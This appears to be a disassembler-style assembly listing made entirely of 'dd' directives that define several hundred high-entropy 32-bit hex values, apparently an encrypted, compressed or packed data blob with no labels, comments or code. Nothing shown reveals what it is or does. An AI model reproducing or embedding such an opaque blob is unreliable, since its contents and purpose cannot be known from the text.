		dd 5DFEC045h, 97107BA3h, 0C0D24C4Eh, 8AFAF8A8h,	0F596000Fh
		dd 5DDF4726h, 0D3D107Bh, 5EDDA597h, 80FE3BC7h, 0E15BFF5Bh
		dd 0ED00FA6Eh, 623DAB63h, 0DD2C4D17h, 0CA2F0FE2h, 0C5910792h
		dd 49A6248h, 893DDFh, 9D318237h, 30AC32F5h, 942A0141h
		dd 0E09FE6BAh, 1087FDF5h, 154F6285h, 813421F1h,	1B860F03h
		dd 0CDA2E0Dh, 3B905080h, 0AC04EB7Dh, 946DF881h,	2C8A6FEEh
		dd 0F10B74E2h, 9535552Bh, 6AEA2F24h, 1A8AF700h,	16400AEAh
		dd 704E180h, 95B7B30Eh,	21B104C9h, 8E041301h, 0FB1C2939h
		dd 0B92A9126h, 16F94FFCh, 0D668E88Ah, 9CD935F0h, 0BF893E46h
		dd 0B7D56AD8h, 0F94880DCh, 0A14FA3A2h, 45850109h, 0C16F5625h
		dd 8E1F03FFh, 5ADF8B5Ch, 0F94EC847h, 613D25B1h,	0F9F7259h
		dd 0B84D4B2Ch, 800E2404h, 0ED582B6Eh, 7326C165h, 81B4749Ch
		dd 4D77D3AAh, 8E13C045h, 3C28B55Ch, 0E798A076h,	6358E7E6h
		dd 65EF09EBh, 0BE06012Eh, 6F3F2DB9h, 54160546h,	7807CE0h
		dd 0BD28E9DEh, 96DB7D0Bh, 2D25C70h, 4C109415h, 0AB409859h
		dd 86820B19h, 8DADB621h, 0AA47602Fh, 5A0BD43Eh,	2DF4AABh
		dd 824D574h, 0F31C3B8Eh, 0BF7128C7h, 81BDDC66h,	0BAB58B00h
		dd 0C18C9E7Fh, 9015F632h, 7AC8203Eh, 0F4009A07h, 0D7A3AA0Ah
		dd 34CCFFAh, 3E56BFCEh,	0FA2E1BE8h, 6DA562DDh, 17FAC9ACh
		dd 94C40649h, 0E0361F56h, 219B4617h, 95CB1FC3h,	40318FE1h
		dd 9651DFA2h, 0B9304095h, 4E5612A1h, 512BA828h,	30407AA5h
		dd 4426BA66h, 5BFDED51h, 6E6F96C9h, 10E80192h, 0B5FFD88Bh
		dd 9B6F1025h, 0EB3DC0BFh, 4A29E8ECh, 0D18EF052h, 0C11433E1h
		dd 5BDDB356h, 1B48A669h, 0DE0AE46Ch, 802BC697h,	0F9533D8Bh
		dd 64FBF2C3h, 255A9021h, 2041CDB5h, 49C5278Dh, 0E6E6ACC8h
		dd 22A803A7h, 900A9FADh, 53508A1Ah, 3C90DDA2h, 2F19E6C6h
		dd 0E8B0B446h, 0CF00252Dh, 927C437h, 770780D2h,	0F2F34674h
		dd 0D5B1D131h, 5B737E3Ch, 7B06E90h, 7B61FCDCh, 26F4D6C0h
		dd 0BBDE01E0h, 6032FA38h, 3AA06129h, 7E658112h,	0E7395202h
		dd 70C0F361h, 0CF02AA8Eh, 0C7FEBB7Ch, 9DCCC685h, 1B902559h
		dd 0C242DC4Ch, 3F274059h, 2FF73110h, 50E9311Ch,	0D0FFD327h
		dd 0A712ADBAh, 9904CB49h, 9A039BDh, 8D2B1260h, 87F350A5h
		dd 4087110h, 0C305061h,	994418C3h, 0DB47C101h, 0B7200EADh
		dd 4B03FC4Ch, 0E72F4358h, 367736EBh, 7B0E6481h,	501B8C85h
		dd 21D02829h, 13583318h, 1B574201h, 9FC0A340h, 224CB41h
		dd 706650h, 0FE451A87h,	406D8C0Bh, 7BABD100h, 936AA256h
		dd 5B192E8Dh, 0B2855099h, 937A3FE9h, 2AA4017Bh,	9C2BB22Eh
		dd 33F7E20Fh, 0F80742FEh, 0EB0377C4h, 0FA5BEE60h, 0E279008Bh
		dd 7ACBBECAh, 0E51FE6ACh, 72930330h, 0F9213B1Fh, 3D8181Ch
		dd 534C2201h, 0F3928316h, 0DE4D8041h, 11BFFC09h, 0B2B51A34h
		dd 701A536Dh, 944E94Fh,	0C2FD0EBEh, 6B015FF2h, 7EC7DA33h
		dd 96045819h, 3B1E5C30h, 0B09509Ah, 0D342CD9Dh,	9E7C7913h
		dd 0EF221B4Eh, 40400B1Ah, 5AA4ECEDh, 4126A2B4h,	0DF12E90Dh
		dd 0A01101FCh, 88139D06h, 0A9D7C486h, 1D3EBA88h, 13936DF1h
		dd 0D94C8D03h, 0A448C69Dh, 406C283h, 2D518D09h,	404DB612h
		dd 2F9F3896h, 405BD90Eh, 193340FFh, 2894E5Ch, 5EBF2050h
		dd 0C768EF04h, 2D5ECC2Ch, 53F046F6h, 0A0062CBDh, 7E045FCh
		dd 22A926DEh, 6CD8476Ah, 0BDBFB8E6h, 225884E9h,	6562C2BDh
		dd 0C1492874h, 0D74A0A40h, 80769B5Ah, 0B7AD8A10h, 30F85E63h
		dd 0E2DF8076h, 83D7CC4h, 10075C19h, 5B77528h, 7315ABBBh
		dd 2837E351h, 342C9F5Bh, 0A3359B24h, 164A6B7Eh,	1A33BBB2h
		dd 0B8A54B4Dh, 36910D3h, 9C06131h, 0B70F0026h, 0F80298DBh
		dd 2E08F31Fh, 0F609B4h,	69D8C273h, 0F5C9469Ah, 0ED506F34h
		dd 0B819C4FEh, 0B81B496Dh, 57008C1Bh, 0AEFCF3F8h, 0F1850523h
		dd 810E8324h, 29EA925Fh, 0BBB6C753h, 90C0A0E3h,	0A412975Ch
		dd 5B045370h, 0FA81A91Dh, 645B18B9h, 2BC01988h,	3145A1B7h
		dd 85C242B3h, 1D213213h, 0CAF17FE7h, 7A6F0EC5h,	50B134Ch
		dd 302112FCh, 2CFA7D15h, 29C2F402h, 9017DA8Dh, 0C2597F54h
		dd 11959D0Dh, 0F82AC606h, 701E5F83h, 29351578h,	6C3DC502h
		dd 0C0413308h, 0F73684DCh, 5B34D5C0h, 5B3B8CF5h, 0A7B198CAh
		dd 350850ACh, 0FE213409h, 5EC1699Bh, 23093BE8h,	5B5305CEh
		dd 0F2A38E0Fh, 16320910h, 3B1CC2E9h, 210E854h, 6814A782h
		dd 8B7A40CEh, 785493C1h, 4D02103Bh, 0BA1C6DB0h,	0ABCE57CEh
		dd 0BA64F7ADh, 7A8004BCh, 48D4B4A5h, 0F7A88200h, 311894DDh
		dd 0D6D3046Dh, 0F4FA8B50h, 0E2948721h, 80B2D2A7h, 0A2345982h
		dd 0C33A8046h, 9AFC5645h, 49BD10A4h, 0B5290416h, 0D6A41FD5h
		dd 0A0684A33h, 0A5FD9D59h, 7BB562D1h, 7821708Dh, 8CD15B01h
		dd 3DB767D3h, 8A071420h, 99CBEC55h, 74DF8069h, 0E77AAC6Eh
		dd 6967E500h, 88AE33FFh, 7604F50h, 6A5FF3A2h, 3F453880h
		dd 8DAA981Ch, 0F5400D94h, 6A6D1D20h, 886C4A7h, 0F91E3251h
		dd 78627365h, 1A97BD4Eh, 0D9BC41BDh, 4A1DAE42h,	699E5676h
		dd 0F561A4D6h, 982BD1FFh
		dd 2925BD4Fh, 1182C707h, 8060043Fh, 0E2E8BEE4h,	0BE61E044h
		dd 0ADDD40BCh, 0D03B1140h, 5172011Dh, 26A731Bh,	844D9696h
		dd 9EEAB80Eh, 8CF2DAD2h, 5606054Ah, 0BB8798DBh,	7CE2B201h
		dd 0F1BE933h, 3DFC2C2Bh, 0B7BD1A90h, 4070A774h,	8B787100h
		dd 8A4BC507h, 128412BFh, 2518ECA2h, 9502C6FEh, 6D00E837h
		dd 0F237745h, 8B02448Ah, 0F380DE09h, 0F9292599h, 0C2F98552h
		dd 0E00A5FB8h, 0B77C2291h, 25232508h, 0E29FFE4Ch, 69C15470h
		dd 0C278067Bh, 3E0B0060h, 8D89B54Bh, 8A802CE1h,	0DEBA95F8h
		dd 90532CD3h, 2476A52Ch, 164E88D0h, 0FFF6B481h,	0BF42F98h
		dd 0CA2F94B1h, 12C34173h, 10988C15h, 9CF96A05h,	0B6803AB1h
		dd 25E1CB81h, 0B96C5B2Bh, 0BD081242h, 7E4F0A21h, 107C908h
		dd 0E63DE780h, 81883B70h, 51AE075Ah, 0C0C773BFh, 0B7B0775Ch
		dd 2D798C05h, 718371E4h, 92414AADh, 2923DCBEh, 17328BBDh
		dd 0C8B6BFh, 196FC06h, 204A2585h, 0C453C8D8h, 0B0DB14Eh
		dd 0F61F085Bh, 2518A908h, 244FB843h, 9FA8D94h, 0BE591960h
		dd 0B9080B16h, 0C82B0913h, 22025398h, 4E564F05h, 9501D18Bh
		dd 0E9D02BEBh, 8E10F22Bh, 1B17005Bh, 130F0C9h, 0D4B6F824h
		dd 617AD692h, 61416BF0h, 24AD9531h, 726E332h, 2CCD0A7Fh
		dd 0BF023809h, 6CD19890h, 1F91C256h, 8A8D4E76h,	0B27E0084h
		dd 9BE7D0DBh, 3B2B0EEFh, 0BEEB3D4Eh, 8B5B9275h,	6B33FCA6h
		dd 519B0955h, 3D1B11CEh, 13A528FCh, 1365FE48h, 1191195Dh
		dd 0E91729A9h, 508CB5Bh, 5FB720D7h, 0BA42C449h,	0D083EF9Eh
		dd 0D69884CBh, 2918B928h, 0D1803471h, 9C799F11h, 0C635D569h
		dd 0A6BBDEADh, 1B2108ADh, 0D13B91Eh, 4CA10BA7h,	0FF132BA2h
		dd 98E0B7F6h, 53900253h, 5F124920h, 2DC06EFCh, 0C2B910A0h
		dd 1D7190h, 0DA98F548h,	2166FE26h, 0CF555409h, 166C78F1h
		dd 0FB5F586Fh, 786B4B30h, 5D480CF5h, 0C996A53Eh, 135B2C40h
		dd 62BAC02Bh, 425CD8A4h, 0C66BFF7Bh, 9BD84A70h,	0D1BA8050h
		dd 64CCD5Dh, 6F139AC4h,	0DF125022h, 8C28880Dh, 0FECB0052h
		dd 24419B31h, 0A10906BBh, 700575C6h, 9C2B4B8Ah,	0BD26093Ch
		dd 6EA50659h, 5120BB3Ah, 80823CA6h, 53D5691Dh, 8C8F0949h
		dd 6D870AB1h, 0BF843B08h, 0F98A4402h, 2FBD54B8h, 0B42DDB6Ah
		dd 12C074CDh, 9780E47Eh, 68532C14h, 0C4F825EAh,	0E3813C06h
		dd 6E69C088h, 817EB7C9h, 7D32C36h, 6109CD5Dh, 0FF02CEA5h
		dd 75CD57E1h, 858609C0h, 4F16B07Bh, 2565E2B9h, 8E10C735h
		dd 0AA130511h, 0A5008D6Fh, 9C8447D5h, 5C4B6752h, 0FC27108Ah
		dd 0A6D8887Bh, 27630009h, 2EAB9EBEh, 14978C21h,	4C94450Eh
		dd 0A672E54Bh, 0F75CF017h, 60A72905h, 0DC01A96Fh, 8A16A20Ah
		dd 0F6122BDDh, 0ECB83FF9h, 6DEF8995h, 1279C002h, 0AD01E21Ah
		dd 80C0955Fh, 0B1614CEBh, 1C44942Fh, 0AD0334B6h, 9828221Dh
		dd 28056BCEh, 23095FECh, 7319C19Dh, 5871A323h, 939750DAh
		dd 0C059F3E7h, 49F8522h, 89D57F92h, 8321EE82h, 0E23B70C1h
		dd 8B100094h, 0FAFBB1DFh, 9FE4042Bh, 410DE93Bh,	31D1C6C5h
		dd 1353DF0h, 0BC213E41h, 0C45B706Dh, 245A0489h,	22E0BCB6h
		dd 8F7FF4E5h, 9294E598h, 64EBD167h, 4091F007h, 4D0F680Ch
		dd 69512C7Fh, 781D4D9h,	99337CB2h, 5F07ABC4h, 407AA748h
		dd 0C16A88F0h, 0AC7305B6h, 0F36763C9h, 0DF0474CFh, 0BB15E4Bh
		dd 0DAD626B9h, 0E3CD80DBh, 7262FBF9h, 56E91CB5h, 0E8D42702h
		dd 43AC1CDEh, 7DF0CBCCh, 22F12102h, 2E9245Ch, 7C75CBF7h
		dd 0F3444031h, 0A2024008h, 7DB86224h, 5545E0DAh, 2E5B810Fh
		dd 8DAE1134h, 0E312BF9h, 9F2C810Fh, 59E1A7D2h, 0EC4ACBDh
		dd 0B6E83361h, 0E48CF4A0h, 0BF1766EEh, 0B6C823F7h, 57C49520h
		dd 0F59D6104h, 0CE802DDBh, 2512C6E4h, 8F6D89B1h, 175EABE0h
		dd 48FAEE59h, 95C08609h, 90E28FFFh, 8074FD38h, 0D4613F2Dh
		dd 4E77E67h, 95894729h,	5F7FB085h, 0D62BE293h, 0DE6C1A79h
		dd 4135BF40h, 62122B1Fh, 0E096DE0h, 0C1BF960Ah,	502F3C42h
		dd 3DE6958Ah, 2EF0BFD6h, 7700C54Bh, 0CDFB92A3h,	2F2B8CAAh
		dd 2D091DBDh, 299F3E59h, 1CE38112h, 610260CCh, 7E80E8B9h
		dd 0A567216Bh, 0C6EB1FDFh, 50ADF85Fh, 17A2AD71h, 0F6020CF8h
		dd 2C18A97Fh, 83C75FADh, 0FB7E1300h, 0B10B69h, 5C9FEF4Fh
		dd 0D446CF14h, 5FF0A213h, 861064A2h, 118D8E06h,	0DEAA582Ch
		dd 91D7774h, 0AB53DD40h, 24692C81h, 0F872752Eh,	86F880B4h
		dd 0F63FDCC6h, 1DEF093Dh, 0BDD0905Bh, 0BA14DE73h, 1F894BF1h
		dd 4C695F53h, 0C9181571h, 9D035014h, 32DD4A9Ch,	9F0BF26h
		dd 0F50073D5h, 5535BB51h, 4AF84A1Ah, 28036E61h,	1D20956Ch
		dd 0F63A011h, 97CF7C9Fh, 0B7975B16h, 0A70B023Eh, 7C56E107h
		dd 0B629FE53h, 0D200DCE2h, 0D7B64D66h, 70E9F537h, 0DBCBBB46h
		dd 98F8E6F8h, 1651470Bh, 85E261C1h, 958278FEh, 0D372879Dh
		dd 14C27096h, 0C1559798h, 66206BF8h, 0B6E2EDh, 0E0B7B45Eh
		dd 10DC31B9h, 88306407h, 3231BC26h, 187DD9C7h, 0E306D3B8h
		dd 79B529A7h, 8D89097Bh, 68F90B59h, 7E7F8562h, 0B17F6CCh
		dd 30AF8BD7h, 0F928F36Dh, 4EA5A9B8h, 7604498Bh,	1800F67Ah
		dd 3F9EEA16h, 60D9AAA8h, 33D270F8h, 0DD986945h,	0A3819F9Dh
		dd 0C7C194DAh, 7F549527h, 9DDF66A5h, 697038FBh,	0E6283A3Dh
		dd 80D00839h, 0FE12977Ch, 2C40584Fh, 5051C0CBh,	12F780F9h
		dd 0E36E37EDh, 0BC2B49FAh, 4DB016EDh, 61FB8250h, 99BEAA8h
		dd 68A9CDBDh, 9509C780h, 0ACBC5722h, 73675626h,	6F67BB10h
		dd 30150096h, 84030BD3h, 312D65C8h, 2C0678D0h, 2C06CC8Ah
		dd 0C702DBEh, 0B56E965Fh, 0BA1F7400h, 0E414236Fh, 0EC07F625h
		dd 0C19D1069h, 0D1B71213h, 0E0626BF3h, 0C65E076Dh, 50B5DB5Ah
		dd 2D276C70h, 697B7EC7h, 24729C70h, 60939A97h, 25E03F07h
		dd 8DE66B4Ch, 0E8B5B5ECh, 27BB6617h, 9C9A279Bh,	0DDC9754h
		dd 830F69F8h, 0C2AAC315h, 6017ADE4h, 7D085179h,	2DF4A089h
		dd 0D2CD2050h, 0A1622FC0h, 0EA87F88Ah, 3C894CC9h, 2A148509h
		dd 0BE20C37Bh, 970F0D20h, 907D9C1Ah, 1D4D88FAh,	40AB5018h
		dd 5C0CF6DBh, 0BD01A0F3h, 113E312Bh, 0DB3A6A46h, 0D46DCA40h
		dd 0F8240111h, 6602C91Ah, 7FE2CA5h, 0FB6100EBh,	9FA1B396h
		dd 42810ED1h, 0A438C5E2h, 49F3F4h, 44C0B86Fh, 0A2BEE31Ch
		dd 50C8965Fh, 0DDBC09F1h, 5C8075DBh, 492EE38Ch,	2B1E5C00h
		dd 0BB124098h, 0D9A55124h, 5FCA583Ch, 2AEDC251h, 0B5260910h
		dd 0EC04273Dh, 9DBCA8B7h, 0E22878A2h, 12216509h, 96D2E89Ah
		dd 0CAE5E360h, 6399202Eh, 0ADFAF7BBh, 7C550B00h, 2E4DEEF9h
		dd 4EA30113h, 5F8652D5h, 809B6C61h, 3250583h, 75C203BEh
		dd 0C90BC1D9h, 41F8B580h, 358D6B4Eh, 0F5E261C9h, 10B3D718h
		dd 1DB6965Eh, 3B2691E0h, 9A6FBB13h, 0CF814701h,	0B54D9CDBh
		dd 26F7Eh, 0BDFF13EAh, 1754D520h, 0D28E0F79h, 465F6062h
		dd 39A881C9h, 6125B568h, 1CB0F3E6h, 6B2F6545h, 41623AAh
		dd 0AC6AEFB4h, 0D26C4C88h, 4BB3C4E4h, 38A3CA8Ah, 0ED0B5D64h
		dd 0B4B78543h, 0DBD6BCBCh, 78B689B2h, 78949BD2h, 541212BBh
		dd 0C8F26FCCh, 2068E8D6h, 8E90E16h, 8B24FFF2h, 266EEBC1h
		dd 0C0930F02h, 0E160F949h, 0A997DF9Dh, 0F489F491h, 2838CE97h
		dd 66E52C12h, 6C505771h, 0E4CB0F2Dh, 4BF842AFh,	0CF00C9B2h
		dd 8D6F4461h, 300136BDh
		dd 9EBF564Ah, 9F33B48h,	2E78C0A8h, 0DCFC7D7Ah, 0D5BE001h
		dd 0BE18B560h, 314963F8h, 8B746142h, 867868DFh,	9F08DE8Ah
		dd 1AB0B5E6h, 7110A125h, 8ADC69D7h, 0E1E500D4h,	0F09D6ACCh
		dd 5512EBA4h, 0E0E060DCh, 0FC24270Ah, 2925FA78h, 0B344EE19h
		dd 0AFB67886h, 0B0B90728h, 0FF1D570Bh, 0DC975CD1h, 591A7304h
		dd 74BCD6AEh, 0B44F58A2h, 3E09AC1h, 820DCE70h, 54390D84h
		dd 225D106Fh, 79406A25h, 90800A59h, 73B30352h, 5DBF505Bh
		dd 0EE0C26E9h, 0E0507E0h, 0EC4B7FB1h, 0FEB7042Fh, 0BC0EC8E9h
		dd 78CAB18Dh, 8B899E2Bh, 847A7E51h, 0FDBBA7AFh,	25B4B8A6h
		dd 0A1EE7B4Bh, 301359Fh, 0B72874B1h, 0E2D40698h, 0B601705h
		dd 7AA0BD85h, 0B1C00980h, 1BFE9061h, 55A0F8E5h,	0B99C7F2Ah
		dd 145B806Dh, 383D79FCh, 6C07EC00h, 1C5CA77Ah, 8982099Bh
		dd 0A07B9471h, 0DF0E8789h, 0E0387F3Bh, 0AB3B8236h, 0C0B80495h
		dd 82177927h, 57C4B75Ch, 2DE39480h, 0DA5B4B51h,	0C016C895h
		dd 6A56E6CFh, 0EF5BFF61h, 0B502F2C5h, 1CDA17Fh,	557875BDh
		dd 4C7B984Bh, 259D3D84h, 0CBA24EC2h, 0FCD1AB02h, 0A2603384h
		dd 0DB0648D3h, 70E6E5B6h, 2E2B41E7h, 330D7644h,	2F011B61h
		dd 1D8EC960h, 47D0017Bh, 9D295159h, 5B9552E1h, 5B25835Eh
		dd 34DB0841h, 0A1626098h, 95D7C20Dh, 61040B6Dh,	355B7EBCh
		dd 0B32380D8h, 4C5B1725h, 0FBD316E8h, 32817D21h, 7FD2A804h
		dd 462C84Dh, 0D18B2FA1h, 0C0D620BAh, 6C00E064h,	45A9FBDh
		dd 2E399757h, 2982117Dh, 68456009h, 2F0382F9h, 0D393F0E2h
		dd 0E606FA5Fh, 7D716936h, 5AD6CB89h, 8C946A7h, 25E59531h
		dd 0A707C08Dh, 265B0CA7h, 81D4E31h, 7BCB8100h, 43AB7612h
		dd 0AA0DA7F4h, 8C037E14h, 53174FE9h, 1DA85B4Eh,	9379FCC9h
		dd 0B3093D11h, 0E98560C7h, 8DD550A5h, 0EE6B2DC0h, 7F00EFAFh
		dd 0DE30EAA8h, 5029D1Ch, 836159F5h, 0FE2E0BA5h,	1AF54A32h
		dd 11B2C21Eh, 612FF983h, 6E65FB5h, 3E0C453Ch, 6F0BB935h
		dd 7CEC12CDh, 5D13DEEDh, 6BAE58A8h, 4162369h, 0EAFE6109h
		dd 0EA912DD9h, 8CB909CDh, 0F4297C08h, 7A9A41Dh,	9D37EE02h
		dd 16FC7CFBh, 0E10552FFh, 1ADB2AC6h, 928F8B89h,	0F9B0C1F2h
		dd 0BC6E6FFCh, 80E25F00h, 94BDCBE7h, 64FD3827h,	0F321432h
		dd 2B12F74Eh, 1745A9C0h, 0EC870985h, 6FB6D2B5h,	0AC002E3h
		dd 48171937h, 90B863D1h, 0DED4E3D2h, 51B54C28h,	0BD290B95h
		dd 5B93AD5Ch, 368541DBh, 81DE84C2h, 7337DABh, 2855246Fh
		dd 0F24065AFh, 0DCD60031h, 5189A2EFh, 42BC0080h, 26E13FADh
		dd 727540Bh, 5E41BAC4h,	8E4FD428h, 7E011BF8h, 18E8754Bh
		dd 99988925h, 0AF02D30Dh, 609783F9h, 0F66460AAh, 5304FCEEh
		dd 61FA8B29h, 39BDE2BCh, 1FE8A89Ah, 0D88D016Ah,	25BDA323h
		dd 1497E49Ah, 0F7665FD0h, 829CB0E3h, 21B72B4h, 79635B32h
		dd 37568B0Fh, 84B8FE43h, 0C9839EEBh, 0A60FD166h, 99B50467h
		dd 0EF011212h, 0E1FF61DAh, 7F3C22Eh, 9170CE5Eh,	0F42ABE04h
		dd 86B5EE02h, 49686FB9h, 29030492h, 2B2859E1h, 7212E88Eh
		dd 0E8A9BD04h, 0CF9497F3h, 0DDE7134Ah, 0DDE614B0h, 0BD9B4D1Fh
		dd 0C18337C4h, 9E80B4B8h, 25F5DFAFh, 0EFC57300h, 0ABEFB35h
		dd 3C4300DCh, 0DA8B5260h, 909F575Fh, 58B969h, 7F3ED737h
		dd 69FEB321h, 5789B005h, 0D7AA5FC2h, 0DE538BA4h, 0DB04E10Bh
		dd 18DD7064h, 12127A98h, 5AA827EDh, 2EB0B55Ah, 126D545h
		dd 0FA7AAAh, 0BF86962Eh, 0B82FB8E0h, 109295D7h,	0D7707153h
		dd 90234C98h, 0F451327h, 0D4C85EA7h, 5BE9C848h,	28C201D5h
		dd 0BC900435h, 0C0ED801Eh, 4A17723h, 829D9C85h,	5BC8826Bh
		dd 3FF83D61h, 0C7F0FBB6h, 8000EF2Ah, 5B5961AAh,	170DCF81h
		dd 0BF4A0BACh, 1100B17Ah, 0B3E12214h, 0C1B5A33Eh, 68000F7Eh
		dd 0FD27EFE5h, 1E13442Eh, 48E2EC1Ah, 0C48212E9h, 0A0869005h
		dd 9A0A44E0h, 0B2550119h, 296EDB60h, 0B3322B28h, 691174FCh
		dd 740FFF8h, 1C925E9h, 0CBCFA421h, 0D3242F59h, 25D66FEBh
		dd 4FD5E2F1h, 0D4A1C0B6h, 0F1005927h, 0D83A3B6h, 2577F3BFh
		dd 0F8E62A4Ah, 31DBBB04h, 0F5BD7A1Bh, 2CD6BD6h,	3195E5CDh
		dd 978F76B5h, 0BC69AD89h, 0E96D0497h, 9BFEF0D7h, 0C21488ACh
		dd 0D7D5320h, 72EC424h,	0CB6CBFB8h, 10B572F2h, 47E6C2h
		dd 0D9E0171Fh, 0F1DAD586h, 1301DEE2h, 0CBD88493h, 352FAD8Ch
		dd 0EC95129Ch, 80878069h, 2590B1D2h, 0A4E5DA92h, 72AE8B2Dh
		dd 96139748h, 52DCCCD7h, 0C6218797h, 8DAAC3E4h,	0F12BBF6Bh
		dd 0F8DEBB00h, 0F38B387Dh, 0B558E261h, 0C1894ADBh, 0A85E7B19h
		dd 1BD9275Eh, 86798BA9h, 9F7C801Dh, 3780BF32h, 0D4340EB9h
		dd 2CD505C8h, 0FD2B3C78h, 6017DE84h, 2A28788h, 0D7420EDFh
		dd 0AD809563h, 0A88CF8EAh, 81915100h, 0B2B8B0EBh, 4467F4Dh
		dd 0B7906159h, 0D367BDCFh, 9DA0E7E6h, 9E3EEB77h, 950904CEh
		dd 610912D9h, 0EC0CAEDh, 250A51Eh, 44D2059Eh, 29D78D89h
		dd 696971CDh, 5646FC51h, 12379D1Bh, 0B4E32917h,	0E9D88A04h
		dd 9006DF48h, 8C6F0092h, 3FC3691h, 20049007h, 50481589h
		dd 0D5B34A8Bh, 7A952FAFh, 97B776B3h, 0C045F014h, 0CE2CB354h
		dd 0BA20D6B0h, 9F03066Fh, 59E41DA1h, 5502A580h,	0FEAD1AB7h
		dd 6403558Eh, 0F899BC4Dh, 958F8623h, 34FCABFAh,	0D1DC0282h
		dd 0EF61040Dh, 5CFEB782h, 0C15EE9DCh, 7CC90FD4h, 0EFC2E1EDh
		dd 0B48EB7FAh, 18712AE9h, 80C5356Bh, 646A7D88h,	0FE25DE02h
		dd 25DDC6EEh, 4E64820Fh, 782965Fh, 0F57950h, 48B78CF5h
		dd 0F00B958Fh, 0B796C52Ch, 8BF6A5D8h, 0CA8D090Bh, 31A805D5h
		dd 29BD21E4h, 48E533FDh, 216509C0h, 8AEF155Eh, 4CCC8EF8h
		dd 95659A29h, 8D56829Ah, 55121817h, 0B67B81B5h,	29ACF015h
		dd 81FD48EEh, 61361976h, 0A5F1A0ADh, 4D61BAC5h,	92C16016h
		dd 8E3E9AA1h, 0CE48F6C5h, 0C3FA2532h, 996C10A6h, 9FC44A07h
		dd 257C6FABh, 0B592C6F5h, 2E08FF61h, 0C7FD9274h, 0CA020AB8h
		dd 0E34262D6h, 860D7D44h, 79B7A4Ah, 197B8480h, 9F24A494h
		dd 0FAE50DFBh, 204E1CF3h, 4491AAC3h, 55B9F2Fh, 94FF9A8Ch
		dd 0C372DBE9h, 0D7AE520Dh, 0A680A3F5h, 5802B3F4h, 0AFC0E042h
		dd 3A18F77Dh, 748CE400h, 86703185h, 2ACB390Eh, 0EC64B62Dh
		dd 82E01A00h, 0A5B0F550h, 3B380AF2h, 27AF9E85h,	55502B45h
		dd 39E8A174h, 0EE0904C2h, 0E1B26412h, 3D916BD2h, 0BB8481E8h
		dd 4D01BD26h, 0F6B1887Ah, 0CF52D400h, 2B9936B4h, 92F32580h
		dd 561CF6C5h, 0D0F45327h, 0CE70C791h, 533CC005h, 3BE250C6h
		dd 0E7683301h, 44C3A563h, 0A5DBAEF7h, 422E3AC0h, 0AE09E137h
		dd 7445466Eh, 12065535h, 1310E9h, 0B9E26EF2h, 0C0C9CB43h
		dd 0E4896F07h, 0AF52B615h, 69CE5C26h, 413F64D4h, 2BFFE16Bh
		dd 17C8CCDAh, 5278B2C0h, 8180BFABh, 0F9BF87ECh,	60632112h
		dd 6BD69ABDh, 0A8F600E0h, 302F40ABh, 8A4D4BEDh,	0BF55AF7h
		dd 8474DB3Ah, 85C4DE28h, 7C006DE2h, 4B86572Dh, 480180DDh
		dd 4C67427Eh, 752FD766h, 0A897E90Ah, 4E0C02C8h,	0B5BD2B88h
		dd 0AAC6CBA4h, 0DB84CDDEh, 0D83DAF95h, 1B76A2Eh, 23ABC025h
		dd 13230DBDh, 63E9FA09h, 0C3B63178h, 6F5700DCh,	93DB1386h
		dd 6E5AD0ECh, 0C9FCABC5h, 24399D0Bh, 0AD76965Fh, 1166018h
		dd 4AE078F0h, 0BF808601h, 67B219F5h, 0FB2FD22Ch, 0E0FC7542h
		dd 945237DCh, 95D3F03Ah
		dd 3062E67Ch, 664EB310h, 0FFC700C9h, 0FC0EF1C1h, 0D3067EBBh
		dd 0AE768BF9h, 89E416E0h, 9B37FB2Eh, 0D2AC8670h, 0A09E0205h
		dd 9374723Eh, 0D928665Eh, 1322E520h, 828DB589h,	20A9909Dh
		dd 50047167h, 0A8C9830Fh, 0B705306Fh, 0C7B390F8h, 0EA28B078h
		dd 69D70168h, 13BB664Fh, 0B9B77027h, 58353194h,	364C8E6Fh
		dd 1F16C03h, 0E95A6D8Dh, 3BA0BFE7h, 2D126FE4h, 69046298h
		dd 0BF442235h, 0D6EBBDDBh, 2200256Bh, 0FA284137h, 909D15Ah
		dd 791335B5h, 487C6BE0h, 153700D4h, 0D64B21A7h,	5158B001h
		dd 32E3D24Ch, 6FD1FF16h, 689F00BDh, 0FD108B93h,	298704F4h
		dd 0BA2AF585h, 0E1876938h, 81CC9E7Eh, 890CD9B6h, 44A51320h
		dd 0A6B80216h, 50C4AA04h, 0CC94FE8Bh, 0A1B8E0F9h, 579A5000h
		dd 351B635Dh, 0F88A2E5Fh, 400BE4E7h, 73A8D9Ah, 998B01DAh
		dd 20B77436h, 831A6850h, 0EB129DECh, 6C31D07Fh,	0D41107FCh
		dd 0E04B6757h, 2379AA48h, 6A4E5F7Fh, 0EE10248Eh, 8D0F0C89h
		dd 0A0E81B2Ah, 0DBFC30h, 3CFF70Ah, 7EAB8EA8h, 42E64300h
		dd 778FBABFh, 207FE9EDh, 0B75CB003h, 2D2C9800h,	9ADDF587h
		dd 5B5F2652h, 35D089Eh,	1197A49h, 7CFFDF81h, 419010EBh
		dd 769139B4h, 5C22006Fh, 2CFAE249h, 7F53B790h, 9630D370h
		dd 0FBC22528h, 18443E6Dh, 0E40FC860h, 81EF0307h, 9317D3CBh
		dd 0DCBE7409h, 0A041546h, 8289F51Dh, 45DD1FF9h,	32FBAFFDh
		dd 47B3359h, 0DBFF6AFFh, 0F6A0C0A6h, 91106ABh, 8B0FF13Eh
		dd 35501D74h, 3DE500A5h, 4E16544Ch, 310B8BB2h, 82A4349Eh
		dd 0D51ED9DEh, 0C0167CBDh, 4EF534DCh, 217C8A0Bh, 2619881Ch
		dd 0A1498249h, 70E60022h, 17A71E4h, 46167527h, 0C9FC4F6Bh
		dd 0C2AFCA5Bh, 0A874B689h, 1A22CF60h, 0BAEC2792h, 91890F51h
		dd 0E0665509h, 0A69ED300h, 0C3153BA8h, 28620074h, 0CF34E781h
		dd 409D05F9h, 50DE8A14h, 2EB25E8h, 95BCE930h, 7F745BEFh
		dd 4AAC2916h, 2D114993h, 0C02579D1h, 0C4C82B14h, 41AB9F6h
		dd 0A38CD18Bh, 9AE0FC2h, 0B2D3D2FBh, 22744802h,	0F9D1A005h
		dd 850DCE24h, 810026E8h, 53FFF1CFh, 580F9D15h, 9B6EACF6h
		dd 0ED058412h, 0B832AF12h, 95582C13h, 4CE901F9h, 5C418C6Eh
		dd 4F73D659h, 2DEFDF8h,	5BB47D5Fh, 30445974h, 1361E222h
		dd 0A58E947Dh, 9FE021Ah, 5C2BC995h, 0BDC1B472h,	4C86C82Fh
